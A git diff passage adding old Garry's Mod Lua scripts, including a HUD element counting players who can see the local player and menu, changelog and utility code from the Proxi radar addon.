/dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua @@ -0,0 +1,129 @@ +ELEMENT.Name = "Witnesses" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.3 +ELEMENT.SizeY = -0.65 + +//ELEMENT.MaxWitnesses = 10 +ELEMENT.colorBadLesser = ELEMENT.Theme:GetColorReference( "badcolor" ) + +ELEMENT.myRealPos = nil +ELEMENT.myTrace = {} +ELEMENT.myTraceRes = {} +ELEMENT.myTraceRes.mask = MASK_SOLID_BRUSHONLY + +ELEMENT.angleCap = math.cos(math.rad(45)) +//print(ELEMENT.angleCap) + +ELEMENT.lastWitnessCheck = 0 +ELEMENT.witnessCheckDelay = 0.3 + +ELEMENT.counter = 0 +ELEMENT.looking = 0 + +ELEMENT.TIME_LastPlayerFind = 0 +ELEMENT.TIME_DELAY_PLY = 2.0 + +ELEMENT.FINDER_Players = {} + +ELEMENT.eyeOffs = Vector(0,0,32) + + +function ELEMENT:Initialize() + self:CreateSmoother("area", 0, 0.1) + self:CreateSmoother("looking", 0, 0.1) + self:CreateSmoother("rate", 0, 0.2) +end + +function ELEMENT:UseMyOwnFindPlayers() + if (CurTime() < (self.TIME_LastPlayerFind + self.TIME_DELAY_PLY)) then return end + + self.FINDER_Players = {} + self.FINDER_Players = player.GetAll() + for k,ply in pairs(self.FINDER_Players) do + if (ply:Team() == TEAM_SPECTATOR) then + table.remove( self.FINDER_Players, k ) + end + end + self.TIME_LastPlayerFind = CurTime() +end + +function ELEMENT:GetBestPlayerTable() + if (dhradar_dat and dhradar_dat.FINDER_Players) and (dhinline.GetVar("dhradar_enable") > 0) then + return dhradar_dat.FINDER_Players + else + self:UseMyOwnFindPlayers() + return self.FINDER_Players + end +end + +function ELEMENT:DrawFunction() + if SinglePlayer() then return end + self:FadeIn() + + local area_smooth = nil + local looking_smooth = nil + local rate_smooth = nil + local text = "" + local smallText = "" + local rate = 0 + + local myBestPlayerTable = self:GetBestPlayerTable() + if (CurTime() > ( self.lastWitnessCheck + self.witnessCheckDelay )) then + self.looking = 0 + self.counter = 0 + + self.myRealPos = LocalPlayer():EyePos() + for k,ply in pairs(myBestPlayerTable) do + if ply:IsValid() and (ply ~= LocalPlayer()) then + self.myTrace.start = self.myRealPos + self.eyeOffs + self.myTrace.endpos = ply:EyePos() + self.eyeOffs + self.myTrace.filter = { ply , LocalPlayer() } + + self.myTraceRes = util.TraceLine( self.myTrace ) + if (not self.myTraceRes.Hit) then + self.counter = self.counter + 1 + if (ply:EyeAngles():Forward():DotProduct((self.myRealPos - ply:EyePos()):Normalize()) > self.angleCap) then + self.looking = self.looking + 1 + end + end + end + end + self:ChangeSmootherTarget("area", self.counter) + self:ChangeSmootherTarget("looking", self.looking) + + self.lastWitnessCheck = CurTime() + end + + looking_smooth = math.Round(self:GetSmootherCurrent("looking")) + area_smooth = math.Round(self:GetSmootherCurrent("area")) + + rate = (1 - math.Clamp(looking_smooth / math.Clamp(area_smooth,1,128),0,1))^2 + self:ChangeSmootherTarget("rate", rate) + + text = looking_smooth .. " / " .. area_smooth + smallText = "WITNESSES" + + rate_smooth = self:GetSmootherCurrent("rate") + + + self:DrawGenericInfobox( +/*Text */ text +/*Subtxt */ ,smallText +/* % */ ,rate_smooth or rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,1.0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + return true +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/README.md b/Repos/Evil-master/v12/HeXs_Scripts/README.md new file mode 100644 index 0000000..fdb1aa6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/README.md @@ -0,0 +1,11 @@ + +=== OLD FILE, DO NOT USE. MOVED FROM GOOGLECODE 26.07.14 === + + +My old script pack. +Folders: + ./DevStuff/ - Old code/scripts + ./garrysmod/ - Main scripts + hex.cfg - Keybinds + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua new file mode 100644 index 0000000..2fcd5a2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua @@ -0,0 +1 @@ +Kida = true diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua new file mode 100644 index 0000000..022c832 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua @@ -0,0 +1 @@ +MAIN = true diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt new file mode 100644 index 0000000..eb515a6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt @@ -0,0 +1,70 @@ +0.205 +Fixed Compass being not oriented correctly. North is now aligned to +Y. +& +Fixed menu lists not allowing scrolling down. +0.204 +Fixed FamiliarizeString issue on NPC beacon. +0.203 +Fixed Q menu checkbox not running the callbacks. +0.202 +Fixed infinite loop when typing on text fields. +& +Provided a way to close the menu using a button. +0.201 +Fixed Wallfinders not running. +0.2 +Proxi is now using HayFrame, including a redesigned menu. +0.123 +Wallfinder Pierce-Traceback performs a wall-angle estimation in order to get more precision on closer walls. +& +Added experimental Eyemod Debug mode. +0.122 +Added Pin Scale option (Won't work yet will all beacons). +0.121 +Added yet another Wallfinder that can find walls on the opposite direction after piercing. +0.12 +Added maximum distance slider for Entity Select. +& +Added maximum distance bypass checkboxes for some beacons. +0.114 +Player beacon now only displays the first letter of the player name if the beacon is bound to the circle. +& +Player beacon now only displays the full nickname of Steam Friends no matter what. +& +Added requested Helper Square (simple version). +& +Added Voice Chat beacon. +0.113 +Altered Wallfinder incremental. +0.112 +Added experimental Wallfinder with piercer (Red lines). +& +Changed Chat beacon opacity. +0.111 +Fixed a bug that occurs when the script is reloaded during a single session breaking down the beacons system. +0.11 +Added end-user hidden Mount system. +& +Beacons are now part of an Inscript-like architecture. +& +Added Callbacks on Enable global and Beacon enable variables. +& +Added Chat beacon (The first Event beacon). +& +Changed Wallfinder to perform scans in a triform. +0.104 +Player beacon will now make the Local Player name translucent if thy's not near the center. +& +Added experimental Wallfinder beacon. +0.103 +Added NPC, NPC LOS, and Compass for Contraptions. +& +Cleaned up menu. +& +Menu beacons are now ordered in alphabetic order. +0.102 +Fixed a critical bug which crashes the menu (due to poor copy and paste). +0.101 +Made available for betatesting. +0.1 +Proxi Project. \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/defaultlogo.ico b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/defaultlogo.ico new file mode 100644 index 0000000..a39aa76 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/defaultlogo.ico differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/icon.tga b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/icon.tga new file mode 100644 index 0000000..6b087e2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/icon.tga differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/info.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/info.txt new file mode 100644 index 0000000..6e105b7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/info.txt @@ -0,0 +1,20 @@ +"AddonInfo" +{ + "name" "Proxi" + "version" "1.0" + "up_date" "9th September 2010" + "author_name" "Hurricaaane" + "author_url" "http://www.youtube.com/user/Hurricaaane" + + "info" "Proximity sensor and information display." + + // + // !!!!! This is important !!!!! + // + // If you are adding new stuff this should be 0 + // If you're overriding stuff that already exists this should be 1 + // Loadtimes will increase slightly with every addon you have with + // this set to 1 - so only set override if you really need to. + + "override" "0" +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/ProxiCollapsibleCheckbox.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/ProxiCollapsibleCheckbox.lua new file mode 100644 index 0000000..6c7227f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/ProxiCollapsibleCheckbox.lua @@ -0,0 +1,35 @@ +-- CollapsibleCheckbox Panel + +local PANEL = {} + +function PANEL:Init( ... ) + --self.BaseClass.Init( self, ... ) + self.categoryCheckbox = vgui.Create( "DCheckBox", self ) + self.categoryLabel = vgui.Create( "DLabel", self ) + self:SetLabel("") + +end + +function PANEL:SetConVar( ... ) + self.categoryCheckbox:SetConVar( ... ) + +end + +function PANEL:SetText( ... ) + self.categoryLabel:SetText( ... ) + +end + +function PANEL:PerformLayout( ... ) + self.BaseClass.PerformLayout( self, ... ) + + --self.categoryCheckbox:SetSize( self:GetWide(), self:GetTall() ) + self.categoryCheckbox:AlignTop( 4 ) + self.categoryCheckbox:AlignLeft( 3 ) + self.categoryLabel:AlignTop( 1 ) + self.categoryLabel:MoveRightOf( self.categoryCheckbox, 8 ) + self.categoryLabel:SetWide( self:GetWide() ) + +end + +vgui.Register( "ProxiCollapsibleCheckbox", PANEL, "DCollapsibleCategory" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_changelog.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_changelog.lua new file mode 100644 index 0000000..ae7542d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_changelog.lua @@ -0,0 +1,101 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Changelog // +//////////////////////////////////////////////// + +function proxi.BuildChangelog( opt_tExpand ) + if proxi.ChangelogPanel then proxi.ChangelogPanel:Remove() end + + local bCanGetVersion = proxi_internal ~= nil + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK + local ONLINE_VERSION_READ = -1 + if bCanGetVersion then + MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = proxi_internal.GetVersionData() + + if ONLINE_VERSION == -1 then + ONLINE_VERSION_READ = "" + else + ONLINE_VERSION_READ = tostring( ONLINE_VERSION ) + end + + end + + proxi.ChangelogPanel = proxi.Util_MakeFrame( ScrW() * 0.95, ScrH() * 0.75, " - Changelog" ) + local refPanel = proxi.ChangelogPanel + + proxi.Util_MakeCategory( refPanel, "Changelog", 1 ) + + if ONLINE_VERSION and ONLINE_VERSION ~= -1 and proxi_internal.GetReplicate then + local myVer = MY_VERSION or 0 + + local contents = proxi_internal.GetReplicate() or ( tostring( MY_VERSION or 0 ) .. "\n" ) + local split = string.Explode( "\n", contents ) + if (#split % 2) == 0 then + local dList = vgui.Create("DListView") + dList:SetMultiSelect( false ) + dList:SetTall( refPanel.W_HEIGHT - 40 ) + dList:AddColumn( "Ver." ):SetMaxWidth( 45 ) -- Add column + dList:AddColumn( "Type" ):SetMaxWidth( 60 ) -- Add column + dList:AddColumn( "Log" ) + + local gotMyVer = false + for i=1, #split, 2 do + local iVer = tonumber( split[i] or 0 ) or 0 + if not gotMyVer and iVer ~= 0 and iVer <= myVer and (split[i+2] ~= "&") then + dList:AddLine( "*" .. myVer .. "*", "Locale", "< Currently installed version >" ) + gotMyVer = true + + end + local nature = tonumber( split[i] ) + nature = (nature == nil) and "" or math.floor(nature*1000) % 10 > 0 and "Fix" or math.floor(nature*100) % 10 > 0 and "Feature" or "Release" + local myLine = dList:AddLine( (split[i] ~= "&") and split[i] or "", tostring(nature), split[i+1] or "" ) + myLine:SizeToContents() + + end + + proxi.Util_AppendPanel( refPanel, dList ) + --dList:SizeToContents() + + else + proxi.Util_AppendLabel( refPanel, "", 70, true ) + + end + + elseif not proxi_internal.GetReplicate then + proxi.Util_AppendLabel( refPanel, "Couldn't load changelog because your Locale version is too old.", 70, true ) + + else + proxi.Util_AppendLabel( refPanel, "Couldn't load changelog because ".. PROXI_NAME .." failed to pickup information from the Cloud.", 70, true ) + + end + + proxi.Util_ApplyCategories( refPanel ) + +end + +function proxi.ShowChangelog( optbKeyboardShouldNotOverride ) + if not proxi.ChangelogPanel then + proxi.BuildChangelog() + end + proxi.ChangelogPanel:MakePopup() + proxi.ChangelogPanel:SetKeyboardInputEnabled( not optbKeyboardShouldNotOverride ) + proxi.ChangelogPanel:SetVisible( true ) +end + +function proxi.HideChangelog() + if not proxi.ChangelogPanel then + return + end + proxi.ChangelogPanel:SetVisible( false ) +end + +function proxi.DestroyChangelog() + if proxi.ChangelogPanel then + proxi.ChangelogPanel:Remove() + proxi.ChangelogPanel = nil + end +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua new file mode 100644 index 0000000..2bff1f3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua @@ -0,0 +1,107 @@ +// +// ___ ___ _ _ _ ___ ___ ___ ___ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | | __| / _ \ | o \|_ _|| o \| __|/ _|/ _| +// | | | _| | o || \_/ | | _| | |_| || / | | | /| _| \_ \\_ \ +// |_| |___||_n_||_| |_| |_| \___/ |_|\\ |_| |_|\\|___||__/|__/ 2010 +// +// + +if SERVER then return end -- YES IT BLENDS + +local PANEL = {} + +AccessorFunc( PANEL, "m_ConVarR", "ConVarR" ) +AccessorFunc( PANEL, "m_ConVarG", "ConVarG" ) +AccessorFunc( PANEL, "m_ConVarB", "ConVarB" ) +AccessorFunc( PANEL, "m_ConVarA", "ConVarA" ) + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + self.Mixer = vgui.Create( "DColorMixer", self ) + + self.txtR = vgui.Create( "DNumberWang", self ) + self.txtR:SetDecimals( 0 ) + self.txtR:SetMinMax( 0, 255 ) + self.txtG = vgui.Create( "DNumberWang", self ) + self.txtG:SetDecimals( 0 ) + self.txtG:SetMinMax( 0, 255 ) + self.txtB = vgui.Create( "DNumberWang", self ) + self.txtB:SetDecimals( 0 ) + self.txtB:SetMinMax( 0, 255 ) + self.txtA = vgui.Create( "DNumberWang", self ) + self.txtA:SetDecimals( 0 ) + self.txtA:SetMinMax( 0, 255 ) + self.txtA:SetVisible( false ) + +end + +/*--------------------------------------------------------- + Name: ConVarR +---------------------------------------------------------*/ +function PANEL:SetConVarR( cvar ) + self.Mixer:SetConVarR( cvar ) + self.txtR:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarG +---------------------------------------------------------*/ +function PANEL:SetConVarG( cvar ) + self.Mixer:SetConVarG( cvar ) + self.txtG:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarB +---------------------------------------------------------*/ +function PANEL:SetConVarB( cvar ) + self.Mixer:SetConVarB( cvar ) + self.txtB:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarA +---------------------------------------------------------*/ +function PANEL:SetConVarA( cvar ) + + if ( cvar ) then self.txtA:SetVisible( true ) end + self.Mixer:SetConVarA( cvar ) + self.txtA:SetConVar( cvar ) + +end + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + local y = 0 //self.Label1:GetTall() + 5 + + self:SetTall( 110 ) + + self.Mixer:SetSize( 150, 100 ) + self.Mixer:Center() + self.Mixer:AlignLeft( 5 ) + + self.txtR:SizeToContents() + self.txtG:SizeToContents() + self.txtB:SizeToContents() + self.txtA:SizeToContents() + + self.txtR:AlignRight( 5 ) + self.txtR:AlignTop( 5 ) + self.txtG:CopyBounds( self.txtR ) + self.txtG:CenterVertical( 0.375 ) + self.txtB:CopyBounds( self.txtG ) + self.txtB:CenterVertical( 0.625 ) + self.txtA:CopyBounds( self.txtB ) + self.txtA:AlignBottom( 5 ) + +end + + + +vgui.Register( "CtrlColor", PANEL, "DPanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua new file mode 100644 index 0000000..b75e1e0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua @@ -0,0 +1,23 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// ConVar Reg Method - Customizable // +//////////////////////////////////////////////// + +function proxi.GetVar( sVarName, opt_bReturnString ) + if opt_bReturnString or false then + return GetConVarString(sVarName) + end + return GetConVarNumber(sVarName) +end + +function proxi.CreateVar( sVarName, sContents, shouldSave, userData ) + CreateClientConVar(sVarName, sContents, shouldSave, userData) +end + +function proxi.SetVar( sVarName, tContents ) + RunConsoleCommand( sVarName , tostring(tContents) ) +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua new file mode 100644 index 0000000..5653ba0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua @@ -0,0 +1,308 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu // +//////////////////////////////////////////////// + +function proxi.MenuCall_ReloadFromCloud() + if proxi_cloud then + proxi_cloud:Ask() + end + +end + +function proxi.MenuCall_ReloadFromLocale() + if proxi_cloud then + proxi_cloud:LoadLocale() + end + +end + +function proxi.BuildMenu( opt_tExpand ) + if proxi.DermaPanel then proxi.DermaPanel:Remove() end + + local bCanGetVersion = proxi_internal ~= nil + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK + local ONLINE_VERSION_READ = -1 + if bCanGetVersion then + MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = proxi_internal.GetVersionData() + + if ONLINE_VERSION == -1 then + ONLINE_VERSION_READ = "" + else + ONLINE_VERSION_READ = tostring( ONLINE_VERSION ) + end + + end + + proxi.DermaPanel = proxi.Util_MakeFrame( 280, ScrH() * 0.80 ) + local refPanel = proxi.DermaPanel + + proxi.Util_MakeCategory( refPanel, "General", 1 ) + proxi.Util_AppendCheckBox( refPanel, "Enable" , "proxi_core_enable" ) + + --Helper label + do + local GeneralTextLabelMessage = "The command \"proxi_menu\" calls this menu.\n" + GeneralTextLabelMessage = GeneralTextLabelMessage .. "Example : To assign " .. PROXI_NAME .. " menu to F10, type in the console :" + + proxi.Util_AppendLabel( refPanel, GeneralTextLabelMessage, 50, true ) + + local GeneralCommandLabel = vgui.Create("DTextEntry") + GeneralCommandLabel:SetText( "bind \"F10\" \"proxi_menu\"" ) + GeneralCommandLabel:SetEditable( false ) + + proxi.Util_AppendPanel( refPanel, GeneralCommandLabel ) + + end + + + --Update label + do + if bCanGetVersion and (MY_VERSION and ONLINE_VERSION and (MY_VERSION < ONLINE_VERSION)) then + GeneralTextLabelMessage = "Your version is "..MY_VERSION.." and the updated one is "..ONLINE_VERSION.." ! You should update !" + proxi.Util_AppendLabel( refPanel, GeneralTextLabelMessage, 50, true ) + + local CReload = vgui.Create("DButton") + CReload:SetText( "Open full Changelog" ) + CReload.DoClick = proxi.ShowChangelog + proxi.Util_AppendPanel( refPanel, CReload ) + + proxi.Util_AppendLabel( refPanel, "" ) + + if ONLINE_VERSION and ONLINE_VERSION ~= -1 then + local myVer = MY_VERSION or 0 + + local contents = proxi_internal.GetReplicate() or ( tostring( MY_VERSION or 0 ) .. "\n" ) + local split = string.Explode( "\n", contents ) + if (#split % 2) == 0 then + local dList = vgui.Create("DListView") + dList:SetMultiSelect( false ) + dList:SetTall( 150 ) + dList:AddColumn( "Ver." ):SetMaxWidth( 45 ) -- Add column + dList:AddColumn( "Log" ) + + local gotMyVer = false + local i = 1 + while (i <= #split) and not gotMyVer do + local iVer = tonumber( split[i] or 0 ) or 0 + if not gotMyVer and iVer ~= 0 and iVer <= myVer and (split[i+2] ~= "&") then + dList:AddLine( "*" .. myVer .. "*", "< Locale version >" ) + gotMyVer = true + + else + local myLine = dList:AddLine( (split[i] ~= "&") and split[i] or "", split[i+1] or "" ) + myLine:SizeToContents() + + end + + i = i + 2 + + end + + proxi.Util_AppendPanel( refPanel, dList ) + + end + + end + + end + + end + + -- Style + proxi.Util_MakeCategory( refPanel, "Regular Mode", 1 ) + proxi.Util_AppendSlider( refPanel, "X Relative Position", "proxi_regmod_xrel", 0, 1, 2) + proxi.Util_AppendSlider( refPanel, "Y Relative Position", "proxi_regmod_yrel", 0, 1, 2) + proxi.Util_AppendSlider( refPanel, "Circle Size", "proxi_regmod_size", 32, 1024, 0) + proxi.Util_AppendSlider( refPanel, "Pin Scale", "proxi_regmod_pinscale", 0, 10, 0) + proxi.Util_AppendLabel( refPanel, "WARNING : The greater the Radius is, the more perspective should you set it up, otherwise 3D beacons won't dislay at all.", 50 ) + proxi.Util_AppendSlider( refPanel, "Isometric < > Perspective", "proxi_regmod_fov", 2, 100, 0) + proxi.Util_AppendSlider( refPanel, "In-world Radius", "proxi_regmod_radius", 128, 4096, 0) + proxi.Util_AppendSlider( refPanel, "Pitch Angle", "proxi_regmod_angle", -90, 90, 0) + proxi.Util_AppendSlider( refPanel, "Pitch Dynamism", "proxi_regmod_pitchdyn", 0, 10, 0) + + -- EyeMod + proxi.Util_MakeCategory( refPanel, "Eye Mode", 1 ) + proxi.Util_AppendCheckBox( refPanel, "Debug" , "proxi_eyemod_override" ) + + + -- UI Design + proxi.Util_MakeCategory( refPanel, "UI Design", 0 ) + proxi.Util_AppendLabel( refPanel, "Ring color" ) + proxi.Util_AppendColor( refPanel, "proxi_uidesign_ringcolor") + proxi.Util_AppendLabel( refPanel, "Background color" ) + proxi.Util_AppendColor( refPanel, "proxi_uidesign_backcolor") + + -- Global Beacons parameters + proxi.Util_MakeCategory( refPanel, "Global Finder", 1 ) + proxi.Util_AppendLabel( refPanel, "NOTE : Beacons are able to bypass this distance using a checkbox.", 50 ) + proxi.Util_AppendSlider( refPanel, "Beacon finder distance", "proxi_global_finderdistance", 1024, 16384, 0) + + -- Beacons + proxi.Util_MakeCategory( refPanel, "Beacons", 1 ) + do + local cat = proxi.Util_CatchCurrentCategory( refPanel ) + cat.List:SetSpacing( 5 ) + + end + + do + local beacons = proxi:GetAllBeacons() + for _,sName in pairs( proxi:GetBeaconOrderTable() ) do + local objBeacon = beacons[ sName ] + + local category = vgui.Create("ProxiCollapsibleCheckbox", refPanel) + category:SetExpanded( false ) + category:SetText( objBeacon:GetDisplayName() ) + category:SetConVar( "proxi_beacons_enable_" .. sName ) + + category.List = vgui.Create("DPanelList", category ) + category.List:EnableHorizontal( false ) + category.List:EnableVerticalScrollbar( false ) + + /*local label = vgui.Create( "DLabel", category ) + label:SetText( objBeacon:GetDescription() or "No description" ) + category.List:AddItem( label )*/ + + if objBeacon:HasBypassDistance() then + category.List:AddItem( proxi.Util_CreateCheckBox( "Bypass distance limit" , "proxi_beacons_settings_" .. sName .. "__bypassdistance") ) + + end + + category:SetContents( category.List ) + + proxi.Util_AppendPanel( refPanel, category ) + + end + + end + + + + if proxi_internal.IsUsingCloud then + if proxi_internal.IsUsingCloud() then + proxi.Util_MakeCategory( refPanel, "Using Cloud" .. (bCanGetVersion and (" [ v" .. tostring(MY_VERSION) .. " >> v" .. tostring(ONLINE_VERSION_READ) .. " ]") or " Version" ), 0 ) + + else + proxi.Util_MakeCategory( refPanel, "Using Locale" .. (bCanGetVersion and (" [ v" .. tostring(MY_VERSION) .. " >> v" .. tostring(ONLINE_VERSION_READ) .. " ]") or " Version" ), 0 ) + + end + + else + proxi.Util_MakeCategory( refPanel, "Cloud" .. (bCanGetVersion and (" [ v" .. tostring(MY_VERSION) .. " >> v" .. tostring(ONLINE_VERSION_READ) .. " ]") or " Version" ), 0 ) + + end + + -- Reload from Cloud Button + do + local CReload = vgui.Create("DButton") + CReload:SetText( "Reload from Cloud" ) + CReload.DoClick = proxi.MenuCall_ReloadFromCloud + proxi.Util_AppendPanel( refPanel, CReload ) + end + + -- Reload from Locale Button + if proxi_internal then + local CReload = vgui.Create("DButton") + CReload:SetText( "Reload from Locale" ) + CReload.DoClick = proxi.MenuCall_ReloadFromLocale + proxi.Util_AppendPanel( refPanel, CReload ) + end + + -- Changelog Button + if proxi_internal and proxi_internal.GetReplicate then + proxi.Util_AppendLabel( refPanel, "" ) + + local CChangelog = vgui.Create("DButton") + CChangelog:SetText( "Open Changelog" ) + CChangelog.DoClick = proxi.ShowChangelog + proxi.Util_AppendPanel( refPanel, CChangelog ) + end + + proxi.Util_ApplyCategories( refPanel ) + +end + + +function proxi.ShowMenuNoOverride( ) + proxi.ShowMenu( true ) +end + +function proxi.ShowMenu( optbKeyboardShouldNotOverride ) + if not proxi.DermaPanel then + proxi.BuildMenu() + end + --proxi.DermaPanel:Center() + proxi.DermaPanel:MakePopup() + proxi.DermaPanel:SetKeyboardInputEnabled( not optbKeyboardShouldNotOverride ) + proxi.DermaPanel:SetVisible( true ) +end + +function proxi.HideMenu() + if not proxi.DermaPanel then + return + end + proxi.DermaPanel:SetVisible( false ) +end + +function proxi.DestroyMenu() + if proxi.DermaPanel then + proxi.DermaPanel:Remove() + proxi.DermaPanel = nil + end +end + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +//// SANDBOX PANEL . + +function proxi.Panel(Panel) + Panel:AddControl("Checkbox", { + Label = "Enable", + Description = "Enable", + Command = "proxi_core_enable" + } + ) + Panel:AddControl("Button", { + Label = "Open Menu (proxi_menu)", + Description = "Open Menu (proxi_menu)", + Command = "proxi_menu" + } + ) + + Panel:Help("To trigger the menu in any gamemode, type proxi_menu in the console, or bind this command to any key.") +end + +function proxi.AddPanel() + spawnmenu.AddToolMenuOption("Options", "Player", PROXI_NAME, PROXI_NAME, "", "", proxi.Panel, {SwitchConVar = 'proxi_core_enable'}) + +end + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// +// MOUNT FCTS. + +function proxi.MountMenu() + concommand.Add( "proxi_menu", proxi.ShowMenuNoOverride ) + concommand.Add( "proxi_call_menu", proxi.ShowMenuNoOverride ) + concommand.Add( "+proxi_menu", proxi.ShowMenu ) + concommand.Add( "-proxi_menu", proxi.HideMenu ) + +end + +function proxi.UnmountMenu() + proxi.DestroyMenu() + + concommand.Remove( "proxi_call_menu" ) + concommand.Remove( "proxi_menu" ) + concommand.Remove( "+proxi_menu" ) + concommand.Remove( "-proxi_menu" ) + +end + +///////////////////////////////////////////////////////////////////////// +///////////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua new file mode 100644 index 0000000..e40d7f8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menuutils.lua @@ -0,0 +1,172 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu Utilities // +//////////////////////////////////////////////// + +function proxi.Util_FrameGetExpandTable( myPanel ) + local expandTable = {} + + for k,subtable in pairs( myPanel.Categories ) do + table.insert(expandTable, subtable[1]:GetExpanded()) + + end + + return expandTable +end + +function proxi.Util_AppendPanel( myPanel, thisPanel ) + local toAppendIn = myPanel.Categories[#myPanel.Categories][1].List + + thisPanel:SetParent( toAppendIn ) + toAppendIn:AddItem( thisPanel ) + +end + + +function proxi.Util_CreateCheckBox( title, cvar ) + local checkbox = vgui.Create( "DCheckBoxLabel" ) + checkbox:SetText( title ) + checkbox:SetConVar( cvar ) + + return checkbox + +end + +function proxi.Util_AppendCheckBox( myPanel, title, cvar ) + + local checkbox = proxi.Util_CreateCheckBox( title, cvar ) + + proxi.Util_AppendPanel( myPanel, checkbox ) + +end + +function proxi.Util_AppendLabel( myPanel, sText, optiSize, optbWrap ) + + local label = vgui.Create( "DLabel" ) + label:SetText( sText ) + + if optiSize then + label:SetWrap( true ) + label:SetContentAlignment( 2 ) + 